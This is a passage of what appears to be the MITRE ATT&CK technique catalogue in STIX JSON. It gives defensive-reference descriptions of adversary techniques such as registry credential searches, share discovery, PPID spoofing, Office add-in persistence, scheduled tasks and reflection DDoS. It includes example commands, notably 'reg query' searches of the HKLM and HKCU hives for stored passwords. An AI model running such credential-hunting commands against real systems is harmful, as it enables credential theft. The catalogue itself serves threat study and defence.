Rclone-mega-extortion_05_2021)\n\nAdversaries may also obtain then abuse leaked credentials from source repositories, logs, or other means as a way to gain access to cloud storage objects.",
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                {
                    "source_name": "DOJ Lazarus Sony 2018",
                    "description": "Department of Justice. (2018, September 6). Criminal Complaint - United States of America v. PARK JIN HYOK. Retrieved March 29, 2019.",
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                    "source_name": "FireEye APT38 Oct 2018",
                    "description": "FireEye. (2018, October 03). APT38: Un-usual Suspects. Retrieved November 17, 2024.",
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            "description": "Adversaries may modify systems in order to manipulate the data as it is accessed and displayed to an end user, thus threatening the integrity of the data.(Citation: FireEye APT38 Oct 2018)(Citation: DOJ Lazarus Sony 2018) By manipulating runtime data, adversaries may attempt to affect a business process, organizational understanding, and decision making.\n\nAdversaries may alter application binaries used to display data in order to cause runtime manipulations. Adversaries may also conduct [Change Default File Association](https://attack.mitre.org/techniques/T1546/001) and [Masquerading](https://attack.mitre.org/techniques/T1036) to cause a similar effect. The type of modification and the impact it will have depends on the target application and process as well as the goals and objectives of the adversary. For complex systems, an adversary would likely need special expertise and possibly access to specialized software related to the system that would typically be gained through a prolonged information gathering campaign in order to have the desired impact.",
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            "id": "attack-pattern--341e222a-a6e3-4f6f-b69c-831d792b1580",
            "created": "2020-02-04T12:58:40.678Z",
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                    "url": "https://attack.mitre.org/techniques/T1552/002",
                    "external_id": "T1552.002"
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                {
                    "source_name": "Pentestlab Stored Credentials",
                    "description": "netbiosX. (2017, April 19). Stored Credentials. Retrieved April 6, 2018.",
                    "url": "https://pentestlab.blog/2017/04/19/stored-credentials/"
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            "description": "Adversaries may search the Registry on compromised systems for insecurely stored credentials. The Windows Registry stores configuration information that can be used by the system or other programs. Adversaries may query the Registry looking for credentials and passwords that have been stored for use by other programs or services. Sometimes these credentials are used for automatic logons.\n\nExample commands to find Registry keys related to password information: (Citation: Pentestlab Stored Credentials)\n\n* Local Machine Hive: <code>reg query HKLM /f password /t REG_SZ /s</code>\n* Current User Hive: <code>reg query HKCU /f password /t REG_SZ /s</code>",
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                    "external_id": "T1135"
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                {
                    "source_name": "TechNet Shared Folder",
                    "description": "Microsoft. (n.d.). Share a Folder or Drive. Retrieved June 30, 2017.",
                    "url": "https://technet.microsoft.com/library/cc770880.aspx"
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                {
                    "source_name": "Wikipedia Shared Resource",
                    "description": "Wikipedia. (2017, April 15). Shared resource. Retrieved June 30, 2017.",
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            "description": "Adversaries may look for folders and drives shared on remote systems as a means of identifying sources of information to gather as a precursor for Collection and to identify potential systems of interest for Lateral Movement. Networks often contain shared network drives and folders that enable users to access file directories on various systems across a network. \n\nFile sharing over a Windows network occurs over the SMB protocol. (Citation: Wikipedia Shared Resource) (Citation: TechNet Shared Folder) [Net](https://attack.mitre.org/software/S0039) can be used to query a remote system for available shared drives using the <code>net view \\\\\\\\remotesystem</code> command. It can also be used to query shared drives on the local system using <code>net share</code>. For macOS, the <code>sharing -l</code> command lists all shared points used for smb services.",
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                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1120",
                    "external_id": "T1120"
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                {
                    "source_name": "Peripheral Discovery Linux",
                    "description": "Shahriar Shovon. (2018, March). List USB Devices Linux. Retrieved March 11, 2022.",
                    "url": "https://linuxhint.com/list-usb-devices-linux/"
                },
                {
                    "source_name": "Peripheral Discovery macOS",
                    "description": "SS64. (n.d.). system_profiler. Retrieved March 11, 2022.",
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            "name": "Peripheral Device Discovery",
            "description": "Adversaries may attempt to gather information about attached peripheral devices and components connected to a computer system.(Citation: Peripheral Discovery Linux)(Citation: Peripheral Discovery macOS) Peripheral devices could include auxiliary resources that support a variety of functionalities such as keyboards, printers, cameras, smart card readers, or removable storage. The information may be used to enhance their awareness of the system and network environment or may be used for further actions.",
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                    "url": "https://attack.mitre.org/techniques/T1036/009",
                    "external_id": "T1036.009"
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                    "source_name": "3OHA double-fork 2022",
                    "description": "Juan Tapiador. (2022, April 11). UNIX daemonization and the double fork. Retrieved September 29, 2023.",
                    "url": "https://0xjet.github.io/3OHA/2022/04/11/post.html"
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                {
                    "source_name": "Microsoft XorDdos Linux Stealth 2022",
                    "description": "Microsoft Threat Intelligence. (2022, May 19). Rise in XorDdos: A deeper look at the stealthy DDoS malware targeting Linux devices. Retrieved September 27, 2023.",
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                {
                    "source_name": "Sandfly BPFDoor 2022",
                    "description": "The Sandfly Security Team. (2022, May 11). BPFDoor - An Evasive Linux Backdoor Technical Analysis. Retrieved September 29, 2023.",
                    "url": "https://sandflysecurity.com/blog/bpfdoor-an-evasive-linux-backdoor-technical-analysis/"
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            "description": "An adversary may attempt to evade process tree-based analysis by modifying executed malware's parent process ID (PPID). If endpoint protection software leverages the \u201cparent-child\" relationship for detection, breaking this relationship could result in the adversary\u2019s behavior not being associated with previous process tree activity. On Unix-based systems breaking this process tree is common practice for administrators to execute software using scripts and programs.(Citation: 3OHA double-fork 2022) \n\nOn Linux systems, adversaries may execute a series of [Native API](https://attack.mitre.org/techniques/T1106) calls to alter malware's process tree. For example, adversaries can execute their payload without any arguments, call the `fork()` API call twice, then have the parent process exit. This creates a grandchild process with no parent process that is immediately adopted by the `init` system process (PID 1), which successfully disconnects the execution of the adversary's payload from its previous process tree.\n\nAnother example is using the \u201cdaemon\u201d syscall to detach from the current parent process and run in the background.(Citation: Sandfly BPFDoor 2022)(Citation: Microsoft XorDdos Linux Stealth 2022) ",
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            "created": "2020-10-02T15:49:03.815Z",
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                    "url": "https://attack.mitre.org/techniques/T1590/004",
                    "external_id": "T1590.004"
                },
                {
                    "source_name": "DNS Dumpster",
                    "description": "Hacker Target. (n.d.). DNS Dumpster. Retrieved October 20, 2020.",
                    "url": "https://dnsdumpster.com/"
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            "name": "Network Topology",
            "description": "Adversaries may gather information about the victim's network topology that can be used during targeting. Information about network topologies may include a variety of details, including the physical and/or logical arrangement of both external-facing and internal network environments. This information may also include specifics regarding network devices (gateways, routers, etc.) and other infrastructure.\n\nAdversaries may gather this information in various ways, such as direct collection actions via [Active Scanning](https://attack.mitre.org/techniques/T1595) or [Phishing for Information](https://attack.mitre.org/techniques/T1598). Information about network topologies may also be exposed to adversaries via online or other accessible data sets (ex: [Search Victim-Owned Websites](https://attack.mitre.org/techniques/T1594)).(Citation: DNS Dumpster) Gathering this information may reveal opportunities for other forms of reconnaissance (ex: [Search Open Technical Databases](https://attack.mitre.org/techniques/T1596) or [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593)), establishing operational resources (ex: [Acquire Infrastructure](https://attack.mitre.org/techniques/T1583) or [Compromise Infrastructure](https://attack.mitre.org/techniques/T1584)), and/or initial access (ex: [External Remote Services](https://attack.mitre.org/techniques/T1133)).",
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                    "phase_name": "reconnaissance"
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            "created": "2020-10-01T01:41:08.652Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
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                    "url": "https://attack.mitre.org/techniques/T1587/002",
                    "external_id": "T1587.002"
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                {
                    "source_name": "Wikipedia Code Signing",
                    "description": "Wikipedia. (2015, November 10). Code Signing. Retrieved March 31, 2016.",
                    "url": "https://en.wikipedia.org/wiki/Code_signing"
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            "name": "Code Signing Certificates",
            "description": "Adversaries may create self-signed code signing certificates that can be used during targeting. Code signing is the process of digitally signing executables and scripts to confirm the software author and guarantee that the code has not been altered or corrupted. Code signing provides a level of authenticity for a program from the developer and a guarantee that the program has not been tampered with.(Citation: Wikipedia Code Signing) Users and/or security tools may trust a signed piece of code more than an unsigned piece of code even if they don't know who issued the certificate or who the author is.\n\nPrior to [Code Signing](https://attack.mitre.org/techniques/T1553/002), adversaries may develop self-signed code signing certificates for use in operations.",
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            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
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                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1222/001",
                    "external_id": "T1222.001"
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                {
                    "source_name": "Hybrid Analysis Icacls1 June 2018",
                    "description": "Hybrid Analysis. (2018, June 12). c9b65b764985dfd7a11d3faf599c56b8.exe. Retrieved August 19, 2018.",
                    "url": "https://www.hybrid-analysis.com/sample/ef0d2628823e8e0a0de3b08b8eacaf41cf284c086a948bdfd67f4e4373c14e4d?environmentId=100"
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                {
                    "source_name": "Hybrid Analysis Icacls2 May 2018",
                    "description": "Hybrid Analysis. (2018, May 30). 2a8efbfadd798f6111340f7c1c956bee.dll. Retrieved August 19, 2018.",
                    "url": "https://www.hybrid-analysis.com/sample/22dab012c3e20e3d9291bce14a2bfc448036d3b966c6e78167f4626f5f9e38d6?environmentId=110"
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                {
                    "source_name": "Microsoft Access Control Lists May 2018",
                    "description": "M. Satran, M. Jacobs. (2018, May 30). Access Control Lists. Retrieved February 4, 2020.",
                    "url": "https://docs.microsoft.com/en-us/windows/win32/secauthz/access-control-lists"
                },
                {
                    "source_name": "Microsoft DACL May 2018",
                    "description": "Microsoft. (2018, May 30). DACLs and ACEs. Retrieved August 19, 2018.",
                    "url": "https://docs.microsoft.com/windows/desktop/secauthz/dacls-and-aces"
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            "name": "Windows Permissions",
            "description": "Adversaries may modify file or directory permissions/attributes to evade access control lists (ACLs) and access protected files.(Citation: Hybrid Analysis Icacls1 June 2018)(Citation: Hybrid Analysis Icacls2 May 2018) File and directory permissions are commonly managed by ACLs configured by the file or directory owner, or users with the appropriate permissions. File and directory ACL implementations vary by platform, but generally explicitly designate which users or groups can perform which actions (read, write, execute, etc.).\n\nWindows implements file and directory ACLs as Discretionary Access Control Lists (DACLs).(Citation: Microsoft DACL May 2018) Similar to a standard ACL, DACLs identifies the accounts that are allowed or denied access to a securable object. When an attempt is made to access a securable object, the system checks the access control entries in the DACL in order. If a matching entry is found, access to the object is granted. Otherwise, access is denied.(Citation: Microsoft Access Control Lists May 2018)\n\nAdversaries can interact with the DACLs using built-in Windows commands, such as `icacls`, `cacls`, `takeown`, and `attrib`, which can grant adversaries higher permissions on specific files and folders. Further, [PowerShell](https://attack.mitre.org/techniques/T1059/001) provides cmdlets that can be used to retrieve or modify file and directory DACLs. Specific file and directory modifications may be a required step for many techniques, such as establishing Persistence via [Accessibility Features](https://attack.mitre.org/techniques/T1546/008), [Boot or Logon Initialization Scripts](https://attack.mitre.org/techniques/T1037), or tainting/hijacking other instrumental binary/configuration files via [Hijack Execution Flow](https://attack.mitre.org/techniques/T1574).",
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                    "phase_name": "defense-impairment"
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            "x_mitre_domains": [
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            "created": "2019-11-07T19:52:52.801Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
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                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1137/006",
                    "external_id": "T1137.006"
                },
                {
                    "source_name": "FireEye Mail CDS 2018",
                    "description": "Caban, D. and Hirani, M. (2018, October 3). You\u2019ve Got Mail! Enterprise Email Compromise. Retrieved November 17, 2024.",
                    "url": "https://web.archive.org/web/20190508170121/https://summit.fireeye.com/content/dam/fireeye-www/summit/cds-2018/presentations/cds18-technical-s03-youve-got-mail.pdf"
                },
                {
                    "source_name": "MRWLabs Office Persistence Add-ins",
                    "description": "Knowles, W. (2017, April 21). Add-In Opportunities for Office Persistence. Retrieved November 17, 2024.",
                    "url": "https://web.archive.org/web/20190526112859/https://labs.mwrinfosecurity.com/blog/add-in-opportunities-for-office-persistence/"
                },
                {
                    "source_name": "Microsoft Office Add-ins",
                    "description": "Microsoft. (n.d.). Add or remove add-ins. Retrieved July 3, 2017.",
                    "url": "https://support.office.com/article/Add-or-remove-add-ins-0af570c4-5cf3-4fa9-9b88-403625a0b460"
                },
                {
                    "source_name": "GlobalDotName Jun 2019",
                    "description": "Shukrun, S. (2019, June 2). Office Templates and GlobalDotName - A Stealthy Office Persistence Technique. Retrieved August 26, 2019.",
                    "url": "https://www.221bluestreet.com/post/office-templates-and-globaldotname-a-stealthy-office-persistence-technique"
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            "modified": "2025-10-24T17:48:37.911Z",
            "name": "Add-ins",
            "description": "Adversaries may abuse Microsoft Office add-ins to obtain persistence on a compromised system. Office add-ins can be used to add functionality to Office programs. (Citation: Microsoft Office Add-ins) There are different types of add-ins that can be used by the various Office products; including Word/Excel add-in Libraries (WLL/XLL), VBA add-ins, Office Component Object Model (COM) add-ins, automation add-ins, VBA Editor (VBE), Visual Studio Tools for Office (VSTO) add-ins, and Outlook add-ins. (Citation: MRWLabs Office Persistence Add-ins)(Citation: FireEye Mail CDS 2018)\n\nAdd-ins can be used to obtain persistence because they can be set to execute code when an Office application starts. ",
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                    "description": "Spagnola, N. (2023, May 5). AppDomain Manager Injection: New Techniques For Red Teams. Retrieved March 29, 2024.",
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            "description": "An adversary may add additional roles or permissions to an adversary-controlled user or service account to maintain persistent access to a container orchestration system. For example, an adversary with sufficient permissions may create a RoleBinding or a ClusterRoleBinding to bind a Role or ClusterRole to a Kubernetes account.(Citation: Kubernetes RBAC)(Citation: Aquasec Kubernetes Attack 2023) Where attribute-based access control (ABAC) is in use, an adversary with sufficient permissions may modify a Kubernetes ABAC policy to give the target account additional permissions.(Citation: Kuberentes ABAC)\n \nThis account modification may immediately follow [Create Account](https://attack.mitre.org/techniques/T1136) or other malicious account activity. Adversaries may also modify existing [Valid Accounts](https://attack.mitre.org/techniques/T1078) that they have compromised.  \n\nNote that where container orchestration systems are deployed in cloud environments, as with Google Kubernetes Engine, Amazon Elastic Kubernetes Service, and Azure Kubernetes Service, cloud-based  role-based access control (RBAC) assignments or ABAC policies can often be used in place of or in addition to local permission assignments.(Citation: Google Cloud Kubernetes IAM)(Citation: AWS EKS IAM Roles for Service Accounts)(Citation: Microsoft Azure Kubernetes Service Service Accounts) In these cases, this technique may be used in conjunction with [Additional Cloud Roles](https://attack.mitre.org/techniques/T1098/003).",
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            "type": "attack-pattern",
            "id": "attack-pattern--35dd844a-b219-4e2b-a6bb-efa9a75995a9",
            "created": "2017-05-31T21:30:46.977Z",
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                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1053",
                    "external_id": "T1053"
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                {
                    "source_name": "ProofPoint Serpent",
                    "description": "Campbell, B. et al. (2022, March 21). Serpent, No Swiping! New Backdoor Targets French Entities with Unique Attack Chain. Retrieved April 11, 2022.",
                    "url": "https://www.proofpoint.com/us/blog/threat-insight/serpent-no-swiping-new-backdoor-targets-french-entities-unique-attack-chain"
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                {
                    "source_name": "TechNet Task Scheduler Security",
                    "description": "Microsoft. (2005, January 21). Task Scheduler and security. Retrieved June 8, 2016.",
                    "url": "https://technet.microsoft.com/en-us/library/cc785125.aspx"
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            "description": "Adversaries may abuse task scheduling functionality to facilitate initial or recurring execution of malicious code. Utilities exist within all major operating systems to schedule programs or scripts to be executed at a specified date and time. A task can also be scheduled on a remote system, provided the proper authentication is met (ex: RPC and file and printer sharing in Windows environments). Scheduling a task on a remote system typically may require being a member of an admin or otherwise privileged group on the remote system.(Citation: TechNet Task Scheduler Security)\n\nAdversaries may use task scheduling to execute programs at system startup or on a scheduled basis for persistence. These mechanisms can also be abused to run a process under the context of a specified account (such as one with elevated permissions/privileges). Similar to [System Binary Proxy Execution](https://attack.mitre.org/techniques/T1218), adversaries have also abused task scheduling to potentially mask one-time execution under a trusted system process.(Citation: ProofPoint Serpent)",
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            "created": "2020-01-24T14:38:49.266Z",
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                    "url": "https://attack.mitre.org/techniques/T1218/007",
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                {
                    "source_name": "TrendMicro Msiexec Feb 2018",
                    "description": "Co, M. and Sison, G. (2018, February 8). Attack Using Windows Installer msiexec.exe leads to LokiBot. Retrieved April 18, 2019.",
                    "url": "https://blog.trendmicro.com/trendlabs-security-intelligence/attack-using-windows-installer-msiexec-exe-leads-lokibot/"
                },
                {
                    "source_name": "LOLBAS Msiexec",
                    "description": "LOLBAS. (n.d.). Msiexec.exe. Retrieved April 18, 2019.",
                    "url": "https://lolbas-project.github.io/lolbas/Binaries/Msiexec/"
                },
                {
                    "source_name": "Microsoft msiexec",
                    "description": "Microsoft. (2017, October 15). msiexec. Retrieved January 24, 2020.",
                    "url": "https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/msiexec"
                },
                {
                    "source_name": "Microsoft AlwaysInstallElevated 2018",
                    "description": "Microsoft. (2018, May 31). AlwaysInstallElevated. Retrieved December 14, 2020.",
                    "url": "https://docs.microsoft.com/en-us/windows/win32/msi/alwaysinstallelevated"
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            "name": "Msiexec",
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        {
            "type": "attack-pattern",
            "id": "attack-pattern--36675cd3-fe00-454c-8516-aebecacbe9d9",
            "created": "2017-12-14T16:46:06.044Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
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                {
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                    "url": "https://attack.mitre.org/techniques/T1162",
                    "external_id": "T1162"
                },
                {
                    "source_name": "Adding Login Items",
                    "description": "Apple. (2016, September 13). Adding Login Items. Retrieved July 11, 2017.",
                    "url": "https://developer.apple.com/library/content/documentation/MacOSX/Conceptual/BPSystemStartup/Chapters/CreatingLoginItems.html"
                },
                {
                    "source_name": "Methods of Mac Malware Persistence",
                    "description": "Patrick Wardle. (2014, September). Methods of Malware Persistence on Mac OS X. Retrieved July 5, 2017.",
                    "url": "https://www.virusbulletin.com/uploads/pdf/conference/vb2014/VB2014-Wardle.pdf"
                },
                {
                    "source_name": "Malware Persistence on OS X",
                    "description": "Patrick Wardle. (2015). Malware Persistence on OS X Yosemite. Retrieved July 10, 2017.",
                    "url": "https://www.virusbulletin.com/uploads/pdf/conference/vb2014/VB2014-Wardle.pdf"
                },
                {
                    "source_name": "OSX.Dok Malware",
                    "description": "Thomas Reed. (2017, July 7). New OSX.Dok malware intercepts web traffic. Retrieved July 10, 2017.",
                    "url": "https://blog.malwarebytes.com/threat-analysis/2017/04/new-osx-dok-malware-intercepts-web-traffic/"
                },
                {
                    "source_name": "capec",
                    "url": "https://capec.mitre.org/data/definitions/564.html",
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            "name": "Login Item",
            "description": "MacOS provides the option to list specific applications to run when a user logs in. These applications run under the logged in user's context, and will be started every time the user logs in. Login items installed using the Service Management Framework are not visible in the System Preferences and can only be removed by the application that created them (Citation: Adding Login Items). Users have direct control over login items installed using a shared file list which are also visible in System Preferences (Citation: Adding Login Items). These login items are stored in the user's <code>~/Library/Preferences/</code> directory in a plist file called <code>com.apple.loginitems.plist</code> (Citation: Methods of Mac Malware Persistence). Some of these applications can open visible dialogs to the user, but they don\u2019t all have to since there is an option to \u2018Hide\u2019 the window. If an adversary can register their own login item or modified an existing one, then they can use it to execute their code for a persistence mechanism each time the user logs in (Citation: Malware Persistence on OS X) (Citation: OSX.Dok Malware). The API method <code> SMLoginItemSetEnabled </code> can be used to set Login Items, but scripting languages like [AppleScript](https://attack.mitre.org/techniques/T1155) can do this as well  (Citation: Adding Login Items).",
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            "x_mitre_deprecated": false,
            "x_mitre_domains": [
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            "x_mitre_is_subtechnique": false,
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            "type": "attack-pattern",
            "id": "attack-pattern--36aa137f-5166-41f8-b2f0-a4cfa1b4133e",
            "created": "2020-10-02T15:47:59.457Z",
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                    "url": "https://attack.mitre.org/techniques/T1590/003",
                    "external_id": "T1590.003"
                },
                {
                    "source_name": "Pentesting AD Forests",
                    "description": "Garc\u00eda, C. (2019, April 3). Pentesting Active Directory Forests. Retrieved October 20, 2020.",
                    "url": "https://www.slideshare.net/rootedcon/carlos-garca-pentesting-active-directory-forests-rooted2019"
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            "modified": "2025-10-24T17:48:38.803Z",
            "name": "Network Trust Dependencies",
            "description": "Adversaries may gather information about the victim's network trust dependencies that can be used during targeting. Information about network trusts may include a variety of details, including second or third-party organizations/domains (ex: managed service providers, contractors, etc.) that have connected (and potentially elevated) network access.\n\nAdversaries may gather this information in various ways, such as direct elicitation via [Phishing for Information](https://attack.mitre.org/techniques/T1598). Information about network trusts may also be exposed to adversaries via online or other accessible data sets (ex: [Search Open Technical Databases](https://attack.mitre.org/techniques/T1596)).(Citation: Pentesting AD Forests) Gathering this information may reveal opportunities for other forms of reconnaissance (ex: [Active Scanning](https://attack.mitre.org/techniques/T1595) or [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593)), establishing operational resources (ex: [Acquire Infrastructure](https://attack.mitre.org/techniques/T1583) or [Compromise Infrastructure](https://attack.mitre.org/techniques/T1584)), and/or initial access (ex: [Trusted Relationship](https://attack.mitre.org/techniques/T1199)).",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
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            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_platforms": [
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            "type": "attack-pattern",
            "id": "attack-pattern--36b2a1d7-e09e-49bf-b45e-477076c2ec01",
            "created": "2020-03-02T20:08:03.691Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
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                    "url": "https://attack.mitre.org/techniques/T1498/002",
                    "external_id": "T1498.002"
                },
                {
                    "source_name": "Cisco DoSdetectNetflow",
                    "description": "Cisco. (n.d.). Detecting and Analyzing Network Threats With NetFlow. Retrieved April 25, 2019.",
                    "url": "https://www.cisco.com/c/en/us/td/docs/ios-xml/ios/netflow/configuration/15-mt/nf-15-mt-book/nf-detct-analy-thrts.pdf"
                },
                {
                    "source_name": "Cloudflare DNSamplficationDoS",
                    "description": "Cloudflare. (n.d.). What is a DNS amplification attack?. Retrieved April 23, 2019.",
                    "url": "https://www.cloudflare.com/learning/ddos/dns-amplification-ddos-attack/"
                },
                {
                    "source_name": "Cloudflare NTPamplifciationDoS",
                    "description": "Cloudflare. (n.d.). What is a NTP amplificaiton attack?. Retrieved April 23, 2019.",
                    "url": "https://www.cloudflare.com/learning/ddos/ntp-amplification-ddos-attack/"
                },
                {
                    "source_name": "Cloudflare ReflectionDoS May 2017",
                    "description": "Marek Majkowsk, Cloudflare. (2017, May 24). Reflections on reflection (attacks). Retrieved April 23, 2019.",
                    "url": "https://blog.cloudflare.com/reflections-on-reflections/"
                },
                {
                    "source_name": "Cloudflare Memcrashed Feb 2018",
                    "description": "Marek Majkowski of Cloudflare. (2018, February 27). Memcrashed - Major amplification attacks from UDP port 11211. Retrieved April 18, 2019.",
                    "url": "https://blog.cloudflare.com/memcrashed-major-amplification-attacks-from-port-11211/"
                },
                {
                    "source_name": "Arbor AnnualDoSreport Jan 2018",
                    "description": "Philippe Alcoy, Steinthor Bjarnason, Paul Bowen, C.F. Chui, Kirill Kasavchnko, and Gary Sockrider of Netscout Arbor. (2018, January). Insight into the Global Threat Landscape - Netscout Arbor's 13th Annual Worldwide Infrastructure Security Report. Retrieved April 22, 2019.",
                    "url": "https://pages.arbornetworks.com/rs/082-KNA-087/images/13th_Worldwide_Infrastructure_Security_Report.pdf"
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            "name": "Reflection Amplification",
            "description": "Adversaries may attempt to cause a denial of service (DoS) by reflecting a high-volume of network traffic to a target. This type of Network DoS takes advantage of a third-party server intermediary that hosts and will respond to a given spoofed source IP address. This third-party server is commonly termed a reflector. An adversary accomplishes a reflection attack by sending packets to reflectors with the spoofed address of the victim. Similar to Direct Network Floods, more than one system may be used to conduct the attack, or a botnet may be used. Likewise, one or more reflectors may be used to focus traffic on the target.(Citation: Cloudflare ReflectionDoS May 2017) This Network DoS attack may also reduce the availability and functionality of the targeted system(s) and network.\n\nReflection attacks often take advantage of protocols with larger responses than requests in order to amplify their traffic, commonly known as a Reflection Amplification attack. Adversaries may be able to generate an increase in volume of attack traffic that is several orders of magnitude greater than the requests sent to the amplifiers. The extent of this increase will depending upon many variables, such as the protocol in question, the technique used, and the amplifying servers that actually produce the amplification in attack volume. Two prominent protocols that have enabled Reflection Amplification Floods are DNS(Citation: Cloudflare DNSamplficationDoS) and NTP(Citation: Cloudflare NTPamplifciationDoS), though the use of several others in the wild have been documented.(Citation: Arbor AnnualDoSreport Jan 2018)  In particular, the memcache protocol showed itself to be a powerful protocol, with amplification sizes up to 51,200 times the requesting packet.(Citation: Cloudflare Memcrashed Feb 2018)",
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            ],
            "x_mitre_attack_spec_version": "3.2.0",
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            "x_mitre_domains": [
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            "x_mitre_version": "1.4",
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        {
            "type": "attack-pattern",
            "id": "attack-pattern--3731fbcd-0e43-47ae-ae6c-d15e510f0d42",
            "created": "2020-02-11T19:05:45.829Z",
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                    "url": "https://attack.mitre.org/techniques/T1556/002",
                    "external_id": "T1556.002"
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                {
                    "source_name": "Carnal Ownage Password Filters Sept 2013",
                    "description": "Fuller, R. (2013, September 11). Stealing passwords every time they change. Retrieved November 21, 2017.",
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            "name": "Password Filter DLL",
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            "x_mitre_contributors": [
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            "x_mitre_domains": [
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            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
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            "id": "attack-pattern--379809f6-2fac-42c1-bd2e-e9dee70b27f8",
            "created": "2022-03-28T15:34:44.590Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
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            "external_references": [
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                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1505/005",
                    "external_id": "T1505.005"
                },
                {
                    "source_name": "James TermServ DLL",
                    "description": "James. (2019, July 14). @James_inthe_box. Retrieved September 12, 2024.",
                    "url": "https://x.com/james_inthe_box/status/1150495335812177920"
                },
                {
                    "source_name": "Microsoft System Services Fundamentals",
                    "description": "Microsoft. (2018, February 17). Windows System Services Fundamentals. Retrieved March 28, 2022.",
                    "url": "https://social.technet.microsoft.com/wiki/contents/articles/12229.windows-system-services-fundamentals.aspx"
                },
                {
                    "source_name": "Microsoft Remote Desktop Services",
                    "description": "Microsoft. (2019, August 23). About Remote Desktop Services. Retrieved March 28, 2022.",
                    "url": "https://docs.microsoft.com/windows/win32/termserv/about-terminal-services"
                },
                {
                    "source_name": "RDPWrap Github",
                    "description": "Stas'M Corp. (2014, October 22). RDP Wrapper Library by Stas'M. Retrieved March 28, 2022.",
                    "url": "https://github.com/stascorp/rdpwrap"
                },
                {
                    "source_name": "Windows OS Hub RDP",
                    "description": "Windows OS Hub. (2021, November 10). How to Allow Multiple RDP Sessions in Windows 10 and 11?. Retrieved March 28, 2022.",
                    "url": "http://woshub.com/how-to-allow-multiple-rdp-sessions-in-windows-10/"
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            "description": "Adversaries may abuse components of Terminal Services to enable persistent access to systems. Microsoft Terminal Services, renamed to Remote Desktop Services in some Windows Server OSs as of 2022, enable remote terminal connections to hosts. Terminal Services allows servers to transmit a full, interactive, graphical user interface to clients via RDP.(Citation: Microsoft Remote Desktop Services)\n\n[Windows Service](https://attack.mitre.org/techniques/T1543/003)s that are run as a \"generic\" process (ex: <code>svchost.exe</code>) load the service's DLL file, the location of which is stored in a Registry entry named <code>ServiceDll</code>.(Citation: Microsoft System Services Fundamentals) The <code>termsrv.dll</code> file, typically stored in `%SystemRoot%\\System32\\`, is the default <code>ServiceDll</code> value for Terminal Services in `HKLM\\System\\CurrentControlSet\\services\\TermService\\Parameters\\`.\n\nAdversaries may modify and/or replace the Terminal Services DLL to enable persistent access to victimized hosts.(Citation: James TermServ DLL) Modifications to this DLL could be done to execute arbitrary payloads (while also potentially preserving normal <code>termsrv.dll</code> functionality) as well as to simply enable abusable features of Terminal Services. For example, an adversary may enable features such as concurrent [Remote Desktop Protocol](https://attack.mitre.org/techniques/T1021/001) sessions by either patching the <code>termsrv.dll</code> file or modifying the <code>ServiceDll</code> value to point to a DLL that provides increased RDP functionality.(Citation: Windows OS Hub RDP)(Citation: RDPWrap Github) On a non-server Windows OS this increased functionality may also enable an adversary to avoid Terminal Services prompts that warn/log out users of a system when a new RDP session is created.",
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                    "source_name": "Apple AppleScript",
                    "description": "Apple. (2016, January 25). Introduction to AppleScript Language Guide. Retrieved March 28, 2020.",
                    "url": "https://developer.apple.com/library/archive/documentation/AppleScript/Conceptual/AppleScriptLangGuide/introduction/ASLR_intro.html"
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                    "source_name": "SentinelOne macOS Red Team",
                    "description": "Phil Stokes. (2019, December 5). macOS Red Team: Calling Apple APIs Without Building Binaries. Retrieved July 17, 2020.",
                    "url": "https://www.sentinelone.com/blog/macos-red-team-calling-apple-apis-without-building-binaries/"
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                    "source_name": "SentinelOne AppleScript",
                    "description": "Phil Stokes. (2020, March 16). How Offensive Actors Use AppleScript For Attacking macOS. Retrieved July 17, 2020.",
                    "url": "https://www.sentinelone.com/blog/how-offensive-actors-use-applescript-for-attacking-macos/"
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                    "source_name": "Macro Malware Targets Macs",
                    "description": "Yerko Grbic. (2017, February 14). Macro Malware Targets Macs. Retrieved July 8, 2017.",
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            "description": "Adversaries may abuse AppleScript for execution. AppleScript is a macOS scripting language designed to control applications and parts of the OS via inter-application messages called AppleEvents.(Citation: Apple AppleScript) These AppleEvent messages can be sent independently or easily scripted with AppleScript. These events can locate open windows, send keystrokes, and interact with almost any open application locally or remotely.\n\nScripts can be run from the command-line via <code>osascript /path/to/script</code> or <code>osascript -e \"script here\"</code>. Aside from the command line, scripts can be executed in numerous ways including Mail rules, Calendar.app alarms, and Automator workflows. AppleScripts can also be executed as plain text shell scripts by adding <code>#!/usr/bin/osascript</code> to the start of the script file.(Citation: SentinelOne AppleScript)\n\nAppleScripts do not need to call <code>osascript</code> to execute. However, they may be executed from within mach-O binaries by using the macOS [Native API](https://attack.mitre.org/techniques/T1106)s\u00a0<code>NSAppleScript</code>\u00a0or\u00a0<code>OSAScript</code>, both of which execute code independent of the <code>/usr/bin/osascript</code> command line utility.\n\nAdversaries may abuse AppleScript to execute various behaviors, such as interacting with an open SSH connection, moving to remote machines, and even presenting users with fake dialog boxes. These events cannot start applications remotely (they can start them locally), but they can interact with applications if they're already running remotely. On macOS 10.10 Yosemite and higher, AppleScript has the ability to execute [Native API](https://attack.mitre.org/techniques/T1106)s, which otherwise would require compilation and execution in a mach-O binary file format.(Citation: SentinelOne macOS Red Team) Since this is a scripting language, it can be used to launch more common techniques as well such as a reverse shell via [Python](https://attack.mitre.org/techniques/T1059/006).(Citation: Macro Malware Targets Macs)",
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                    "source_name": "Abramovsky VSCode Security",
